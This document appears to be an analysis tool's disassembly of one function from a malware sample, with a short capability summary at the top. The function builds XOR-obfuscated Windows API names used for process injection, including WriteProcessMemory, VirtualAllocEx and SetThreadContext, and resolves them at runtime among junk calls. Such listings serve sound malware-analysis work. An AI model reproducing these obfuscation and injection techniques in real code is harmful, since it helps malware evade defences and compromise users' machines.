Function at 0x4021a0
Capabilities:
Authenticate hmac
Check for software breakpoints
Check http status code
Link many functions at runtime
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 0x1c], ecx
mov byte [0x463ad8], 0x82
mov byte [0x463ad9], 0x97
cmp dword [0x494d8c], 0
jne 0x4021d0
push 0x2710
call dword [sym.imp.ole32.dll_CoTaskMemAlloc]
mov dword [0x41e0a4], eax
cmp dword [0x494d8c], 1
jne 0x4021ee
push 0x104
push 0
mov eax, dword [0x41e0a4]
push eax
call fcn.00409350
add esp, 0xc
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 2
jne 0x40222b
mov word [0x41df24], 0x7e1
mov word [0x41df26], 2
push 0x41df24
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
mov byte [0x42856c], 7
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 3
jne 0x402254
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
push 0x494d94
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x41e094], eax
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 4
jne 0x40227e
movzx ecx, word [0x41df24]
cmp ecx, 0x7e1
jne 0x40227e
mov dx, word [0x41df24]
sub dx, 1
mov word [0x41df24], dx
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 5
jne 0x4022b1
movzx eax, word [0x41df24]
cmp eax, 0x7e0
jne 0x4022b1
movzx ecx, word [0x41df24]
sub ecx, 0x7d8
mov word [0x41df26], cx
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 6
jne 0x4022d4
mov dx, word [0x41df26]
sub dx, 1
mov word [0x41df26], dx
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 7
jne 0x4022f5
mov ax, word [0x41df26]
sub ax, 1
mov word [0x41df26], ax
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 8
jne 0x402316
push 0x3e8
call dword [sym.imp.ole32.dll_CoTaskMemAlloc]
mov dword [0x428574], eax
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 9
jne 0x402337
push 0x3e8
call dword [sym.imp.ole32.dll_CoTaskMemAlloc]
mov dword [0x428570], eax
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x1d
jne 0x402361
mov ecx, dword [0x428574]
push ecx
mov edx, dword [0x41e094]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x428550], eax
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0xa
jne 0x402387
movzx eax, word [0x41df26]
xor eax, 0x57
xor eax, 6
mov ecx, dword [0x428574]
mov byte [ecx], al
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0xb
jne 0x4023ad
movzx edx, word [0x41df26]
xor edx, 0x72
xor edx, 6
mov eax, dword [0x428574]
mov byte [eax + 1], dl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0xc
jne 0x4023d4
movzx ecx, word [0x41df26]
xor ecx, 0x69
xor ecx, 6
mov edx, dword [0x428574]
mov byte [edx + 2], cl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0xd
jne 0x4023fb
movzx eax, word [0x41df26]
xor eax, 0x74
xor eax, 6
mov ecx, dword [0x428574]
mov byte [ecx + 3], al
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0xe
jne 0x402421
movzx edx, word [0x41df26]
xor edx, 0x65
xor edx, 6
mov eax, dword [0x428574]
mov byte [eax + 4], dl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0xf
jne 0x402448
movzx ecx, word [0x41df26]
xor ecx, 0x50
xor ecx, 6
mov edx, dword [0x428574]
mov byte [edx + 5], cl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x10
jne 0x40246f
movzx eax, word [0x41df26]
xor eax, 0x72
xor eax, 6
mov ecx, dword [0x428574]
mov byte [ecx + 6], al
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x11
jne 0x402495
movzx edx, word [0x41df26]
xor edx, 0x6f
xor edx, 6
mov eax, dword [0x428574]
mov byte [eax + 7], dl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x12
jne 0x4024bc
movzx ecx, word [0x41df26]
xor ecx, 0x63
xor ecx, 6
mov edx, dword [0x428574]
mov byte [edx + 8], cl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x13
jne 0x4024e3
movzx eax, word [0x41df26]
xor eax, 0x65
xor eax, 6
mov ecx, dword [0x428574]
mov byte [ecx + 9], al
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x14
jne 0x402509
movzx edx, word [0x41df26]
xor edx, 0x73
xor edx, 6
mov eax, dword [0x428574]
mov byte [eax + 0xa], dl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x15
jne 0x402530
movzx ecx, word [0x41df26]
xor ecx, 0x73
xor ecx, 6
mov edx, dword [0x428574]
mov byte [edx + 0xb], cl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x16
jne 0x402557
movzx eax, word [0x41df26]
xor eax, 0x4d
xor eax, 6
mov ecx, dword [0x428574]
mov byte [ecx + 0xc], al
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x17
jne 0x40257d
movzx edx, word [0x41df26]
xor edx, 0x65
xor edx, 6
mov eax, dword [0x428574]
mov byte [eax + 0xd], dl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x18
jne 0x4025a4
movzx ecx, word [0x41df26]
xor ecx, 0x6d
xor ecx, 6
mov edx, dword [0x428574]
mov byte [edx + 0xe], cl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x19
jne 0x4025cb
movzx eax, word [0x41df26]
xor eax, 0x6f
xor eax, 6
mov ecx, dword [0x428574]
mov byte [ecx + 0xf], al
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x1a
jne 0x4025f1
movzx edx, word [0x41df26]
xor edx, 0x72
xor edx, 6
mov eax, dword [0x428574]
mov byte [eax + 0x10], dl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x1b
jne 0x402618
movzx ecx, word [0x41df26]
xor ecx, 0x79
xor ecx, 6
mov edx, dword [0x428574]
mov byte [edx + 0x11], cl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x1c
jne 0x40263c
movzx eax, word [0x41df26]
xor eax, 6
mov ecx, dword [0x428574]
mov byte [ecx + 0x12], al
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x1e
jne 0x402661
movzx edx, word [0x41df26]
xor edx, 0x43
xor edx, 6
mov eax, dword [0x428574]
mov byte [eax], dl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x1f
jne 0x402688
movzx ecx, word [0x41df26]
xor ecx, 0x72
xor ecx, 6
mov edx, dword [0x428574]
mov byte [edx + 1], cl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x20
jne 0x4026af
movzx eax, word [0x41df26]
xor eax, 0x65
xor eax, 6
mov ecx, dword [0x428574]
mov byte [ecx + 2], al
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x21
jne 0x4026d5
movzx edx, word [0x41df26]
xor edx, 0x61
xor edx, 6
mov eax, dword [0x428574]
mov byte [eax + 3], dl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x22
jne 0x4026fc
movzx ecx, word [0x41df26]
xor ecx, 0x74
xor ecx, 6
mov edx, dword [0x428574]
mov byte [edx + 4], cl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x23
jne 0x402723
movzx eax, word [0x41df26]
xor eax, 0x65
xor eax, 6
mov ecx, dword [0x428574]
mov byte [ecx + 5], al
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x24
jne 0x402749
movzx edx, word [0x41df26]
xor edx, 0x50
xor edx, 6
mov eax, dword [0x428574]
mov byte [eax + 6], dl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x25
jne 0x402770
movzx ecx, word [0x41df26]
xor ecx, 0x72
xor ecx, 6
mov edx, dword [0x428574]
mov byte [edx + 7], cl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x26
jne 0x402797
movzx eax, word [0x41df26]
xor eax, 0x6f
xor eax, 6
mov ecx, dword [0x428574]
mov byte [ecx + 8], al
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x27
jne 0x4027bd
movzx edx, word [0x41df26]
xor edx, 0x63
xor edx, 6
mov eax, dword [0x428574]
mov byte [eax + 9], dl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x28
jne 0x4027e4
movzx ecx, word [0x41df26]
xor ecx, 0x65
xor ecx, 6
mov edx, dword [0x428574]
mov byte [edx + 0xa], cl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x29
jne 0x40280b
movzx eax, word [0x41df26]
xor eax, 0x73
xor eax, 6
mov ecx, dword [0x428574]
mov byte [ecx + 0xb], al
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x2a
jne 0x402831
movzx edx, word [0x41df26]
xor edx, 0x73
xor edx, 6
mov eax, dword [0x428574]
mov byte [eax + 0xc], dl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x2b
jne 0x402858
movzx ecx, word [0x41df26]
xor ecx, 0x41
xor ecx, 6
mov edx, dword [0x428574]
mov byte [edx + 0xd], cl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x2c
jne 0x40287c
movzx eax, word [0x41df26]
xor eax, 6
mov ecx, dword [0x428574]
mov byte [ecx + 0xe], al
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x2d
jne 0x4028a5
mov edx, dword [0x428574]
push edx
mov eax, dword [0x41e094]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x428560], eax
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x2e
jne 0x4028c8
movzx ecx, word [0x41df26]
xor ecx, 0x50
mov edx, dword [0x428570]
mov byte [edx], cl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x2f
jne 0x4028ec
movzx eax, word [0x41df26]
xor eax, 0x6f
mov ecx, dword [0x428570]
mov byte [ecx + 1], al
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x30
jne 0x40290f
movzx edx, word [0x41df26]
xor edx, 0x74
mov eax, dword [0x428570]
mov byte [eax + 2], dl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x31
jne 0x402933
movzx ecx, word [0x41df26]
xor ecx, 0x72
mov edx, dword [0x428570]
mov byte [edx + 3], cl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x32
jne 0x402957
movzx eax, word [0x41df26]
xor eax, 0x73
mov ecx, dword [0x428570]
mov byte [ecx + 4], al
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x33
jne 0x40297a
movzx edx, word [0x41df26]
xor edx, 0x67
mov eax, dword [0x428570]
mov byte [eax + 5], dl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x34
jne 0x40299e
movzx ecx, word [0x41df26]
xor ecx, 0x6a
mov edx, dword [0x428570]
mov byte [edx + 6], cl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x35
jne 0x4029c2
movzx eax, word [0x41df26]
xor eax, 0x56
mov ecx, dword [0x428570]
mov byte [ecx + 7], al
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x36
jne 0x4029e5
movzx edx, word [0x41df26]
xor edx, 0x74
mov eax, dword [0x428570]
mov byte [eax + 8], dl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x37
jne 0x402a09
movzx ecx, word [0x41df26]
xor ecx, 0x69
mov edx, dword [0x428570]
mov byte [edx + 9], cl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x38
jne 0x402a2d
movzx eax, word [0x41df26]
xor eax, 0x72
mov ecx, dword [0x428570]
mov byte [ecx + 0xa], al
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x39
jne 0x402a50
movzx edx, word [0x41df26]
xor edx, 0x63
mov eax, dword [0x428570]
mov byte [eax + 0xb], dl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x3a
jne 0x402a74
movzx ecx, word [0x41df26]
xor ecx, 0x65
mov edx, dword [0x428570]
mov byte [edx + 0xc], cl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x3b
jne 0x402a98
movzx eax, word [0x41df26]
xor eax, 0x72
mov ecx, dword [0x428570]
mov byte [ecx + 0xd], al
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x3c
jne 0x402abb
movzx edx, word [0x41df26]
xor edx, 0x43
mov eax, dword [0x428570]
mov byte [eax + 0xe], dl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x3d
jne 0x402adf
movzx ecx, word [0x41df26]
xor ecx, 0x7e
mov edx, dword [0x428570]
mov byte [edx + 0xf], cl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x3e
jne 0x402b03
movzx eax, word [0x41df26]
xor eax, 0x40
mov ecx, dword [0x428570]
mov byte [ecx + 0x10], al
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x3f
jne 0x402b26
movzx edx, word [0x41df26]
xor edx, 6
mov eax, dword [0x428570]
mov byte [eax + 0x11], dl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x40
jne 0x402b50
mov ecx, dword [0x428570]
push ecx
mov edx, dword [0x41e094]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41df4c], eax
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x41
jne 0x402b73
movzx eax, word [0x41df26]
xor eax, 0x55
mov ecx, dword [0x428570]
mov byte [ecx], al
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x42
jne 0x402b96
movzx edx, word [0x41df26]
xor edx, 0x63
mov eax, dword [0x428570]
mov byte [eax + 1], dl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x43
jne 0x402bba
movzx ecx, word [0x41df26]
xor ecx, 0x72
mov edx, dword [0x428570]
mov byte [edx + 2], cl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x44
jne 0x402bde
movzx eax, word [0x41df26]
xor eax, 0x52
mov ecx, dword [0x428570]
mov byte [ecx + 3], al
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x45
jne 0x402c01
movzx edx, word [0x41df26]
xor edx, 0x6e
mov eax, dword [0x428570]
mov byte [eax + 4], dl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x46
jne 0x402c25
movzx ecx, word [0x41df26]
xor ecx, 0x74
mov edx, dword [0x428570]
mov byte [edx + 5], cl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x47
jne 0x402c49
movzx eax, word [0x41df26]
xor eax, 0x63
mov ecx, dword [0x428570]
mov byte [ecx + 6], al
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x48
jne 0x402c6c
movzx edx, word [0x41df26]
xor edx, 0x67
mov eax, dword [0x428570]
mov byte [eax + 7], dl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x49
jne 0x402c90
movzx ecx, word [0x41df26]
xor ecx, 0x62
mov edx, dword [0x428570]
mov byte [edx + 8], cl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x4a
jne 0x402cb4
movzx eax, word [0x41df26]
xor eax, 0x45
mov ecx, dword [0x428570]
mov byte [ecx + 9], al
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x4b
jne 0x402cd7
movzx edx, word [0x41df26]
xor edx, 0x69
mov eax, dword [0x428570]
mov byte [eax + 0xa], dl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x4c
jne 0x402cfb
movzx ecx, word [0x41df26]
xor ecx, 0x68
mov edx, dword [0x428570]
mov byte [edx + 0xb], cl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x4d
jne 0x402d1f
movzx eax, word [0x41df26]
xor eax, 0x72
mov ecx, dword [0x428570]
mov byte [ecx + 0xc], al
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x4e
jne 0x402d42
movzx edx, word [0x41df26]
xor edx, 0x63
mov eax, dword [0x428570]
mov byte [eax + 0xd], dl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x4f
jne 0x402d66
movzx ecx, word [0x41df26]
xor ecx, 0x7e
mov edx, dword [0x428570]
mov byte [edx + 0xe], cl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x50
jne 0x402d8a
movzx eax, word [0x41df26]
xor eax, 0x72
mov ecx, dword [0x428570]
mov byte [ecx + 0xf], al
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x51
jne 0x402dad
movzx edx, word [0x41df26]
xor edx, 6
mov eax, dword [0x428570]
mov byte [eax + 0x10], dl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x52
jne 0x402dd7
mov ecx, dword [0x428570]
push ecx
mov edx, dword [0x41e094]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x42855c], eax
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x53
jne 0x402dfa
movzx eax, word [0x41df26]
xor eax, 0x41
mov ecx, dword [0x428570]
mov byte [ecx], al
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x54
jne 0x402e1d
movzx edx, word [0x41df26]
xor edx, 0x63
mov eax, dword [0x428570]
mov byte [eax + 1], dl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x55
jne 0x402e41
movzx ecx, word [0x41df26]
xor ecx, 0x72
mov edx, dword [0x428570]
mov byte [edx + 2], cl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x56
jne 0x402e65
movzx eax, word [0x41df26]
xor eax, 0x52
mov ecx, dword [0x428570]
mov byte [ecx + 3], al
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x57
jne 0x402e88
movzx edx, word [0x41df26]
xor edx, 0x6e
mov eax, dword [0x428570]
mov byte [eax + 4], dl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x58
jne 0x402eac
movzx ecx, word [0x41df26]
xor ecx, 0x74
mov edx, dword [0x428570]
mov byte [edx + 5], cl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x59
jne 0x402ed0
movzx eax, word [0x41df26]
xor eax, 0x63
mov ecx, dword [0x428570]
mov byte [ecx + 6], al
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x5a
jne 0x402ef3
movzx edx, word [0x41df26]
xor edx, 0x67
mov eax, dword [0x428570]
mov byte [eax + 7], dl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x5b
jne 0x402f17
movzx ecx, word [0x41df26]
xor ecx, 0x62
mov edx, dword [0x428570]
mov byte [edx + 8], cl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x5c
jne 0x402f3b
movzx eax, word [0x41df26]
xor eax, 0x45
mov ecx, dword [0x428570]
mov byte [ecx + 9], al
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x5d
jne 0x402f5e
movzx edx, word [0x41df26]
xor edx, 0x69
mov eax, dword [0x428570]
mov byte [eax + 0xa], dl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x5e
jne 0x402f82
movzx ecx, word [0x41df26]
xor ecx, 0x68
mov edx, dword [0x428570]
mov byte [edx + 0xb], cl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x5f
jne 0x402fa6
movzx eax, word [0x41df26]
xor eax, 0x72
mov ecx, dword [0x428570]
mov byte [ecx + 0xc], al
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x60
jne 0x402fc9
movzx edx, word [0x41df26]
xor edx, 0x63
mov eax, dword [0x428570]
mov byte [eax + 0xd], dl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x61
jne 0x402fed
movzx ecx, word [0x41df26]
xor ecx, 0x7e
mov edx, dword [0x428570]
mov byte [edx + 0xe], cl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x62
jne 0x403011
movzx eax, word [0x41df26]
xor eax, 0x72
mov ecx, dword [0x428570]
mov byte [ecx + 0xf], al
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x63
jne 0x403034
movzx edx, word [0x41df26]
xor edx, 6
mov eax, dword [0x428570]
mov byte [eax + 0x10], dl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x64
jne 0x40306c
movzx ecx, word [0x41df24]
cmp ecx, 0x7e0
jne 0x40306c
mov edx, dword [0x428570]
push edx
mov eax, dword [0x41e094]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x428558], eax
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x65
jne 0x40308f
movzx ecx, word [0x41df26]
xor ecx, 0x50
mov edx, dword [0x428570]
mov byte [edx], cl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x66
jne 0x4030b3
movzx eax, word [0x41df26]
xor eax, 0x6f
mov ecx, dword [0x428570]
mov byte [ecx + 1], al
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x67
jne 0x4030d6
movzx edx, word [0x41df26]
xor edx, 0x74
mov eax, dword [0x428570]
mov byte [eax + 2], dl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x68
jne 0x4030fa
movzx ecx, word [0x41df26]
xor ecx, 0x72
mov edx, dword [0x428570]
mov byte [edx + 3], cl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x69
jne 0x40311e
movzx eax, word [0x41df26]
xor eax, 0x73
mov ecx, dword [0x428570]
mov byte [ecx + 4], al
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x6a
jne 0x403141
movzx edx, word [0x41df26]
xor edx, 0x67
mov eax, dword [0x428570]
mov byte [eax + 5], dl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x6b
jne 0x403165
movzx ecx, word [0x41df26]
xor ecx, 0x6a
mov edx, dword [0x428570]
mov byte [edx + 6], cl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x6c
jne 0x403189
movzx eax, word [0x41df26]
xor eax, 0x47
mov ecx, dword [0x428570]
mov byte [ecx + 7], al
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x6d
jne 0x4031ac
movzx edx, word [0x41df26]
xor edx, 0x6a
mov eax, dword [0x428570]
mov byte [eax + 8], dl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x6e
jne 0x4031d0
movzx ecx, word [0x41df26]
xor ecx, 0x6a
mov edx, dword [0x428570]
mov byte [edx + 9], cl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x6f
jne 0x4031f4
movzx eax, word [0x41df26]
xor eax, 0x69
mov ecx, dword [0x428570]
mov byte [ecx + 0xa], al
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x70
jne 0x403217
movzx edx, word [0x41df26]
xor edx, 0x65
mov eax, dword [0x428570]
mov byte [eax + 0xb], dl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x71
jne 0x40323b
movzx ecx, word [0x41df26]
xor ecx, 0x43
mov edx, dword [0x428570]
mov byte [edx + 0xc], cl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x72
jne 0x40325f
movzx eax, word [0x41df26]
xor eax, 0x7e
mov ecx, dword [0x428570]
mov byte [ecx + 0xd], al
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x73
jne 0x403282
movzx edx, word [0x41df26]
xor edx, 6
mov eax, dword [0x428570]
mov byte [eax + 0xe], dl
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x74
jne 0x4032ba
movzx ecx, word [0x41df24]
cmp ecx, 0x7e0
jne 0x4032ba
mov edx, dword [0x428570]
push edx
mov eax, dword [0x41e094]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41df48], eax
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x75
jne 0x4032d4
mov ecx, dword [0x428570]
mov byte [ecx], 0x47
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x76
jne 0x4032ef
mov edx, dword [0x428570]
mov byte [edx + 1], 0x65
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x77
jne 0x403309
mov eax, dword [0x428570]
mov byte [eax + 2], 0x74
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x78
jne 0x403324
mov ecx, dword [0x428570]
mov byte [ecx + 3], 0x43
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x79
jne 0x40333f
mov edx, dword [0x428570]
mov byte [edx + 4], 0x6f
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x7a
jne 0x403359
mov eax, dword [0x428570]
mov byte [eax + 5], 0x6d
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x7b
jne 0x403374
mov ecx, dword [0x428570]
mov byte [ecx + 6], 0x6d
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x7c
jne 0x40338f
mov edx, dword [0x428570]
mov byte [edx + 7], 0x61
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x7d
jne 0x4033a9
mov eax, dword [0x428570]
mov byte [eax + 8], 0x6e
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x7e
jne 0x4033c4
mov ecx, dword [0x428570]
mov byte [ecx + 9], 0x64
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
cmp dword [0x494d8c], 0x7f
jne 0x4033df
mov edx, dword [0x428570]
mov byte [edx + 0xa], 0x4c
push 0
call dword [sym.imp.USERENV.dll_FreeGPOListW]
